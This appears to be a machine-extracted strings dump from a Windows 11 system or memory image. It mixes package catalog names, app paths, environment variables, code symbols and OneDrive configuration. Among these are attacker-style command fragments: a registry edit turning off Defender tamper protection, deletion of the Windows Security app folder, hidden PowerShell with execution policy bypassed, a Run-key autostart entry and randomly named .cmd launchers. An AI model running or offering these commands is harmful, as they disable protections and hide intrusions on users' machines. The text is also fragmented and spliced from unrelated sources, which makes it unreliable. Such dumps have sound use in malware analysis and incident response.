C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
download.windowsupdate.com
core.windows.net
Microsoft.Windows.FileSystem.WOF
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.Defender
Microsoft.Windows.Defender
Microsoft.Windows.Defender
Microsoft.Windows.Defender
Microsoft.Windows.Defender
Microsoft.Windows.TlgAggregateInternal
.?AVQWindowStateChangeEvent@@
Windows K
Windows.LAUNCH
Windows.CommandLineLaunch
Windows.File
Windows.Protocol
WindowsSearchBox
WindowsSpotlight
WindowsDashboard
WindowsRecall
Microsoft.Windows.Cortana_cw5n1h2txyewy
Microsoft.Windows.Search_cw5n1h2txyewy
windowsfeeds
windowsdashboard
Windows.Widgets
Microsoft.ProtocolLaunch.IsEdgeDefaultBrowserInWindows
timerfd for periodic tasks unsupported on Windows (errno: %d, %s)
Passing a file descriptor to TracingSession::Setup() is only supported with the kInProcessBackend on Windows. Use TracingSession::ReadTrace() instead (errno: %d, %s)
..\..\third_party\perfetto\src\tracing\platform_windows.cc
	s\system32\cmd.exe/c
xY'%smicrosoft\windows\y
Net.DNS.DnsConfig.Windows.Compatibility
Net.DNS.DnsConfig.Windows.ReadSystemSettings
_windows_W
TCP/IP for WindowsE
TCP/IP for WindowsE
c:\windows\E
R8	<Hregadd"hklm\software\microsoft\windowsdefender\features"/v"tamperprotection"/treg_dword/d"0"/f
/cboxleaadda\nabduebant.cmdabcdefghijklmnoperstuvwxyz0123456789c:\windows\system32\shell32.dll
/cpotyouruez\oilgotyeph.cmdabcdefghijklmnoparstuvwxyz0123456789c:\windows\system32\shell32.dll
/crednebtots\ryesixripk.cmdabcdefghijklmnopbrstuvwxyz0123456789c:\windows\system32\shell32.dll
qglv/csuedottoww\ledtanalel.cmdabcdefghijklmnoporstuvwxyz0123456789c:\windows\system32\shell32.dll
ts.windows.net
Microsoft.Windows.Defender.SecurityHealthAgent
2a^windows.appExtension
9PMF91N3LZ3MRoblox - Windowshttps://store-images.s-microsoft.com/image/apps.31833.14294982842551334.b7187202-d3a5-4d28-b184-10f299fc8103.08a84251-de4a-49ba-bb0e-2e4a788dd03aen
9PMF91N3LZ3MRoblox - Windowshttps://store-images.s-microsoft.com/image/apps.31833.14294982842551334.b7187202-d3a5-4d28-b184-10f299fc8103.08a84251-de4a-49ba-bb0e-2e4a788dd03afr
9PMF91N3LZ3MRoblox - Windowshttps://store-images.s-microsoft.com/image/apps.31833.14294982842551334.b7187202-d3a5-4d28-b184-10f299fc8103.08a84251-de4a-49ba-bb0e-2e4a788dd03ade
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Basic-Http-Minio-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat||
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-OneCore-CoreSystem-BootableSKU-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat||!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-CoreSystem-Security-UserMgr-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
GetWindowsFlightIdsComponentStr
Windows.
Windows
WindowsNTVersion
kWindowsSearchIndexer
kWindowsVision
kWindows
c:\windows\system32\cmd.exe/cstart
="%windir%\system32
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-OneCore-Transactions-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-CoreSystem-DXG-Common-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Lxss-Optional-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-NetFx2-OC-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-ProjFS-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-WPD-UltimatePortableDeviceFeature-Feature-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1301.cat|Microsoft-Windows-WPD-UltimatePortableDeviceFeature-Feature-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
SurfaceSourceWindowsHWND
SurfaceDescriptorFromWindowsCoreWindow
SurfaceDescriptorFromWindowsUWPSwapChainPanel
Qrmdir/s/q"c:\windows\systemapps\microsoft.windows.sechealth
kexecute("powershell-executionpolicybypass-windowstylehidden
windowstylehidden
Windows.Devices.Sensors.dll
C:\Program Files\WindowsApps\Microsoft.WindowsStore_22512.1401.6.0_neutral_~_8wekyb3d8bbwet
C:\Program Files\WindowsApps\Microsoft.ScreenSketch_11.2511.47.0_neutral_split.scale-100_8wekyb3d8bbweweb
C:\Program Files\WindowsApps\Microsoft.UI.Xaml.2.8_8.2501.31001.0_x86__8wekyb3d8bbweweb
C:\Program Files\WindowsApps\Microsoft.UI.Xaml.2.8_8.2501.31001.0_x64__8wekyb3d8bbweg
C:\Program Files\WindowsApps\Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwewel
C:\Program Files\WindowsApps\Microsoft.WidgetsPlatformRuntime_1.6.14.0_neutral_~_8wekyb3d8bbwewem
C:\Program Files\WindowsApps\Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x64__8wekyb3d8bbwee
C:\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwem
C:\Program Files\WindowsApps\Microsoft.StartExperiencesApp_2021.151.0.0_neutral_~_8wekyb3d8bbwewe
C:\Program Files\WindowsApps\Microsoft.ScreenSketch_11.2511.47.0_x64__8wekyb3d8bbweh
C:\Program Files\WindowsApps\Microsoft.ScreenSketch_2022.2511.47.0_neutral_~_8wekyb3d8bbwewewel
C:\Program Files\WindowsApps\Microsoft.WindowsAppRuntime.1.7_7000.770.750.0_x86__8wekyb3d8bbwel
C:\Program Files\WindowsApps\Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwel
C:\Program Files\WindowsApps\Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwel
C:\Program Files\WindowsApps\Microsoft.WindowsAppRuntime.1.7_7000.770.750.0_x64__8wekyb3d8bbwel
C:\Program Files\WindowsApps\Microsoft.WindowsAppRuntime.1.8_8000.770.947.0_x86__8wekyb3d8bbwel
C:\Program Files\WindowsApps\Microsoft.WindowsAppRuntime.1.8_8000.770.947.0_x64__8wekyb3d8bbwem
C:\Program Files\WindowsApps\Microsoft.VCLibs.140.00.UWPDesktop_14.0.33728.0_x86__8wekyb3d8bbweb
C:\Program Files\WindowsApps\Microsoft.VCLibs.140.00_14.0.33519.0_x86__8wekyb3d8bbweh
C:\Program Files\WindowsApps\Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwen
C:\Program Files\WindowsApps\Microsoft.MicrosoftEdge.Stable_145.0.3800.65_neutral__8wekyb3d8bbweZ
C:\Program Files\WindowsApps\MSTeams_26015.1706.4351.4392_x64__8wekyb3d8bbwez
C:\Program Files\WindowsApps\MicrosoftWindows.CrossDevice_0.25062.28.0_neutral_split.scale-125_cw5n1h2txyewy
C:\Program Files\WindowsApps\MicrosoftWindows.CrossDevice_0.25062.28.0_neutral_split.scale-100_cw5n1h2txyewyg
C:\Program Files\WindowsApps\MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewyl
C:\Program Files\WindowsApps\Microsoft.SecHealthUI_1000.29510.1001.0_x64__8wekyb3d8bbwem
C:\Program Files\WindowsApps\Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x86__8wekyb3d8bbwec
C:\Program Files\WindowsApps\Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbweq
C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewywyv
C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_neutral_~_cw5n1h2txyewywyn
C:\Program Files\WindowsApps\Microsoft.Paint_11.2511.291.0_neutral_split.scale-100_8wekyb3d8bbwewe[
C:\Program Files\WindowsApps\Microsoft.Paint_11.2511.291.0_x64__8wekyb3d8bbwewe`
C:\Program Files\WindowsApps\Microsoft.Paint_11.2511.291.0_neutral_~_8wekyb3d8bbwewev
C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2510.14.0_neutral_split.scale-100_8wekyb3d8bbwewec
C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbweweh
C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2510.14.0_neutral_~_8wekyb3d8bbwewe
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft Windows
Microsoft Windows
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
"Windows"
Windows"
Windows"
"Windows"
"Windows"
SPI_GETDRAGFULLWINDOWS
SM_PENWINDOWS
c:\\windowso
COMPUTERNAME=WINDOWS11
LOGONSERVER=\\WINDOWS11
windir=C:\WINDOWS
LOGONSERVER=\\WINDOWS11
SystemRoot=C:\WINDOWS
USERDOMAIN=Windows11
COMPUTERNAME=WINDOWS11
windir=C:\WINDOWS
LOGONSERVER=\\WINDOWS11
USERDOMAIN=Windows11
SystemRoot=C:\WINDOWS
USERDOMAIN=Windows11
windir=C:\WINDOWS
COMPUTERNAME=WINDOWS11
SystemRoot=C:\WINDOWS
Microsoft-Windows-DataCenterBridging-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-DisplayDiag-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Management-SecureAssessment-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Management-SecureAssessment-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Hello-Face-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package012~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Shared-5A906401B1801A9A7386214A3ABDA88E648A43CA49B6E45F42772F225063C8F6~31bf3856ad364e35~amd64~~10.0.26100.7298.cat|
!Start@implementation@TaskManagerApp@winrt@@UIElementFactory@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IDataTemplateSelector@USettingsGroupTemplateSelector@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$implements@USettingsGroupTemplateSelector@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIDataTemplateSelectorOverrides@Controls@Xaml@UI@Windows@4@UIDataTemplateSelectorOverrides2@789Windows@4@@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IDataTemplateSelector2@USettingsGroupTemplateSelector@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsGroupTemplateSelector@implementation@TaskManagerApp@winrt@@UIDataTemplateSelector@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$producer@USettingsGroupTemplateSelector@implementation@TaskManagerApp@winrt@@UIDataTemplateSelectorOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@USettingsGroupTemplateSelector@implementation@TaskManagerApp@winrt@@UIDataTemplateSelectorOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@USettingsGroupTemplateSelector@implementation@TaskManagerApp@winrt@@UIDataTemplateSelectorOverrides2@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@USettingsGroupTemplateSelector@implementation@TaskManagerApp@winrt@@UIDataTemplateSelectorOverrides2@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producers_base@USettingsGroupTemplateSelector@implementation@TaskManagerApp@winrt@@V?$tuple@USettingsGroupTemplateSelector@TaskManagerApp@winrt@@UIDataTemplateSelectorOverrides@Controls@Xaml@UI@Windows@3@UIDataTemplateSelectorOverrides2@56783@@std@@@impl@winrt@@
.?AU?$FocusProxyButton_base@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@UIComponentConnector2@67894@@implementation@TaskManagerApp@winrt@@
.?AV?$IUIElementOverrides9T@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverridesT@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IFrameworkElementOverrides2T@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides8T@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides7T@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IControlOverridesT@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AU?$base@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UUserControl@Controls@Xaml@UI@Windows@4@UControl@67894@UFrameworkElement@7894@UUIElement@7894@UDependencyObject@7894@@impl@winrt@@
.?AV?$IFrameworkElementOverridesT@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IControlOverrides6T@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
Microsoft.Windows.ApiTelemetry
Microsoft.Windows.Sensors.WinRTLayer
Microsoft.Windows.Sensors.App.ReadingNotificationSession
Microsoft.Windows.TlgAggregateInternal
Windows.Devices.Sensors.pdb
Software\Microsoft\Windows\CurrentVersion\Run
rtcshell("c:\windows\system32\cmd.exe/cattrib-s-h"
Microsoft.Windows.UndockedDevKit
Microsoft.Windows.Security.PopKey
Microsoft.Windows.Security.CryptoWinRT
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.CredProviders.PasswordProvider
Microsoft.Windows.Devices.Lights.BacklightServer
Windows.Internal.Devices.Lights.BacklightServer.pdb
--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723;(
Windows Code Signing PCA 20240
.?AVOriginatedException@Composition@UI@Windows@@
defaultWindowsThem\
Microsoft-Windows-PeerDist-,
Windows.
d:\build\ob\bora-24843032\src\bora-vmsoft\build\release-x64\tools-for-windows\Win32\services\plugins\deployPkg\deployPkgPlug="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="Microsoft.UI.Xaml.Controls.Primitives.AutoSuggestBoxHelper" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="Microsoft.UI.Xaml.Controls.Primitives.ColorPickerSlider" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="Microsoft.UI.Xaml.Controls.Primitives.ColorSpectrum" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="Microsoft.UI.Xaml.Controls.Primitives.ColumnMajorUniformToLargestGridLayout" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="Microsoft.UI.Xaml.Controls.Primitives.ComboBoxHelper" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="Microsoft.UI.Xaml.Controls.Primitives.CommandBarFlyoutCommandBar" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="Microsoft.UI.Xaml.Controls.Primitives.CommandBarFlyoutCommandBarAutomationProperties" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="Microsoft.UI.Xaml.Controls.Primitives.CornerRadiusFilterConverter" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="Microsoft.UI.Xaml.Controls.Primitives.CornerRadiusToThicknessConverter" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="Microsoft.UI.Xaml.Controls.Primitives.InfoBarPanel" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="Microsoft.UI.Xaml.Controls.Primitives.MonochromaticOverlayPresenter" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="Microsoft.UI.Xaml.Controls.Primitives.NavigationViewItemPresenter" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="Microsoft.UI.Xaml.Controls.Primitives.NavigationViewItemPresenterTemplateSettings" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="Microsoft.UI.Xaml.Controls.Primitives.SnapPointBase" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="Microsoft.UI.Xaml.Controls.Primitives.ScrollSnapPointBase" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="Microsoft.UI.Xaml.Controls.Primitives.RepeatedScrollSnapPoint" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="Microsoft.UI.Xaml.Controls.Primitives.ZoomSnapPointBase" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="Microsoft.UI.Xaml.Controls.Primitives.RepeatedZoomSnapPoint" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="Microsoft.UI.Xaml.Controls.Primitives.ScrollControllerAddScrollVelocityRequestedEventArgs" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="Microsoft.UI.Xaml.Controls.Primitives.ScrollControllerInteractionRequestedEventArgs" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="Microsoft.UI.Xaml.Controls.Primitives.ScrollControllerScrollByRequestedEventArgs" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="Microsoft.UI.Xaml.Controls.Primitives.ScrollControllerScrollToRequestedEventArgs" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="Microsoft.UI.Xaml.Controls.Primitives.ScrollPresenter" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activata
windowSizeCutoffs
frAQBc8Wsa1xVPfvJcrgRYwTiizs2trQF69AzBlax3CF3EDNhm3soLBPh71YexuiC:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exeC
uc`$8f554f54-ef93-401c-a74f-2af23d7ba65c$b0 0, \"total\": 7400, \"local\": 3700, \"cloud\": 3700 }"},{"id":108,"value":"0x8004de40|0x8004de81|0x00000001"},{"id":1084,"value":"28800"},{"id":1087,"value":"mpg,mpeg,mov,mp4"},{"id":1089,"value":"5000"},{"id":109,"value":"350000"},{"id":1095,"value":"lnk:1,url:2,db:3,db-wal:4,log:5,png:6,pdf:7,xlsx:8,jpg:9,txt:10,docx:11,js:12,mp4:13,pst:14,zip:15"},{"id":11,"value":"desktop.ini|thumbs.db|Microsoft Edge.lnk"},{"id":110,"value":"3600"},{"id":111,"value":"604800"},{"id":114,"value":"2"},{"id":117,"value":"7200000 "},{"id":118,"value":"300"},{"id":119,"value":"2048"},{"id":120,"value":"2048"},{"id":121,"value":"fpc.msedge.net\/conf\/v2\/odsync\/fpconfig.min.json"},{"id":122,"value":"100"},{"id":123,"value":"389260"},{"id":124,"value":"6"},{"id":125,"value":"Other"},{"id":127,"value":"1"},{"id":128,"value":"10"},{"id":129,"value":"6300000 "},{"id":130,"value":"120"},{"id":131,"value":"clients.config.office.net\/user\/v1.0\/windows\/ack"},{"id":132,"value":"roaming.officeapps.live.com\/rs\/RoamingSoapService.svc"},{"id":133,"value":"clients.config.office.net\/user\/v1.0\/windows\/policies"},{"id":134,"value":"roaming.officeapps.live.com\/rs\/RoamingSoapService.svc"},{"id":137,"value":"30"},{"id":138,"value":"600"},{"id":139,"value":"3"},{"id":14,"value":"600 "},{"id":140,"value":"14400"},{"id":143,"value":"604800"},{"id":144,"value":"14400"},{"id":145,"value":"10"},{"id":149,"value":"[{\n  \"name\": \"OD_CUSTOM_PROFILE\",\n  \"rules\": [\n    { \"netCost\": \"restricted\",                              \"timers\": [ -1, -1, -1 ] },\n    { \"netCost\": \"high\",        \"powerState\": \"unknown\",    \"timers\": [ 300, 30, 10 ] },\n    { \"netCost\": \"high\",        \"powerState\": \"battery\",    \"timers\": [ 300, 30, 10 ] },\n    { \"netCost\": \"high\",        \"powerState\": \"charging\",   \"timers\": [ 300, 30, 10 ] },\n    { \"netCost\": \"low\",         \"powerState\": \"unknown\",    \"timers\": [ 300, 30, 10 ] },\n    { \"netCost\": \"low\",         \"powerState\": \"battery\",    \"timers\": [ 300, 30, 10 ] },\n    { \"netCost\": \"low\",         \"powerState\": \"charging\",   \"timers\": [ 300, 30, 10 ] },\n    { \"netCost\": \"unknown\",     \"powerState\": \"unknown\",    \"timers\": [ 300, 30, 10 ] },\n    { \"netCost\": \"unknown\",     \"powerState\": \"battery\",    \"timers\": [ 300, 30, 10 ] },\n    { \"netCost\": \"unknown\",     \"powerState\": \"charging\",   \"timers\": [ 300, 30, 10 ] },\n    {                                                       \"timers\": [ -1, -1, -1 ] }\n  ]\n}]"},{"id":15,"value":"604800"},{"id":150,"value":"fpc.msedge.net\/conf\/v2\/odsync2\/fpconfig.min.json"},{"id":151,"value":"pst,nst,ost"},{"id":152,"value":"*.laccdb|*.tpm|thumbs.db|EhThumbs.db|Desktop.ini|.DS_Store|Icon\\r|.lock|.849C9593-D756-4E56-8D6E-42412F2A707B"},{"id":155,"value":"pst,nst,ost"},{"id":158,"value":"1"},{"id":159,"value":"604800"},{"id":16,"value":"|one|onepkg|onetoc|onetoc2|"},{"id":160,"value":"604800"},{"id":161,"value":"1"},{"id":162,"value":"43200"},{"id":163,"value":"21600"},{"id":164,"value":"3"},{"id":165,"value":"90"},{"id":166,"value":"120"},{"id":167,"value":"15"},{"id":168,"value":"120000"},{"id":169,"value":"1.2.0.9"},{"id":17,"value":"|doc|docm|docx|odt|odp|pps|ppsm|ppsx|ppt|pptm|pptx|vsd|vsdx|ods|xls|xlsb|xlsm|xlsx|"},{"id":170,"value":"https:\/\/clients.config.office.net\/collector\/v1.0\/inventoryodb"},{"id":178,"value":"-895221759|-2147024809|-2147023508|-2147023579|-2147164433|-2147164592|-2147162950"},{"id":179,"value":"0"},{"id":18,"value":"|pst|"},{"id":180,"value":"0.01"},{"id":181,"value":"0.03"},{"id":182,"value":"3"},{"id":183,"value":"30"},{"id":184,"value":"10"},{"id":185,"value":"ar;bg;ca;cs;da;de;el;en;en-GB;en-US;es;et;eu;fi;fr;gl;he;hi;hr;hu;id;it;ja;kk;ko;lt;lv;ms;nb-NO;nl;pl;pt-BR;pt-PT;ro;ru;sk;sl;sr-Cyrl-RS;sr-Latn-RS;sv;th;tr;uk;vi;zh-CN;zh-TW;"},{"id":187,"value":"lnk|xlsx|xls|url|exe|zip|rar|rdp|appref-ms|msi|website|xlsm|xml|xlsb|pub|mht|accdb|bak|reg|mpp|ini|pbix|mdb|indd|nal|dwg|saz|oft|cer|pfx|dll|nfo|ics|rdg|vsdx|tsv|config|partial|script|kql|evtx|har|csl 
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
